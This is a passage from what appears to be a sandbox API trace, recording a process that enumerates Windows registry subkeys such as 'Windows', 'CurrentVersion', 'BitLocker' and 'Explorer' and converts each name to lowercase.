| out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0025.652] RegEnumKeyW (in: hKey=0x38, dwIndex=0x73, lpName=0x22fb930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0025.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x22fc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0025.652] RegEnumKeyW (in: hKey=0x38, dwIndex=0x74, lpName=0x22fb930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0025.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0025.652] RegEnumKeyW (in: hKey=0x38, dwIndex=0x75, lpName=0x22fb930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0025.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0025.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x22fc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0025.652] RegEnumKeyW (in: hKey=0x38, dwIndex=0x76, lpName=0x22fb930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0025.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0025.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x22fc120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0025.652] RegEnumKeyW (in: hKey=0x38, dwIndex=0x77, lpName=0x22fb930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0025.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0025.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x22fc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0025.653] RegEnumKeyW (in: hKey=0x38, dwIndex=0x78, lpName=0x22fb930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0025.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0025.653] RegEnumKeyW (in: hKey=0x38, dwIndex=0x79, lpName=0x22fb930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0025.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0025.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x22fc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0025.653] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7a, lpName=0x22fb930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0025.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x22fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0025.653] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7b, lpName=0x22fb930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0025.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0025.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x22fc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0025.653] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7c, lpName=0x22fb930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0025.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x22fc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0025.653] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7d, lpName=0x22fb930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0025.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x22fc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0025.653] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7e, lpName=0x22fb930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0025.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0025.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x22fc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0025.654] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7f, lpName=0x22fb930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0025.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x22fc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0025.654] RegEnumKeyW (in: hKey=0x38, dwIndex=0x80, lpName=0x22fb930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0025.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0025.654] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0025.654] RegCloseKey (hKey=0x38) returned 0x0 [0025.654] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x22fb930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0025.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0025.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x22fc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0025.654] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0025.654] RegCloseKey (hKey=0xc4) returned 0x0 [0025.654] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x22fb930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0025.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0025.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x22fc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0025.655] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x22fb930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x22fc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0025.655] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x22fb930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0025.655] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x22fb930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x22fc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0025.655] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x22fb930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x22fc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0025.655] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x22fb930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x22fc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0025.655] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x22fb930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x22fc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0025.655] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x22fb930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x22fc0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0025.655] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x22fb930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x22fc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0025.656] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x22fb930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x22fc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0025.656] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x22fb930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x22fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0025.656] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x22fb930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x22fc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0025.656] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x22fb930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x22fc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0025.656] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x22fb930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x22fc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0025.656] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x22fb930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x22fc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0025.656] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x22fb930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x22fc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0025.657] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x22fb930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x22fc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0025.657] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x22fb930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x22fc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0025.657] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x22fb930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x22fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0025.657] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x22fb930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x22fc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0025.657] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x22fb930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x22fc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0025.657] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x22fb930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x22fc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0025.658] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x22fb930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0025.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x22fc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0025.658] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x22fb930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0025.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 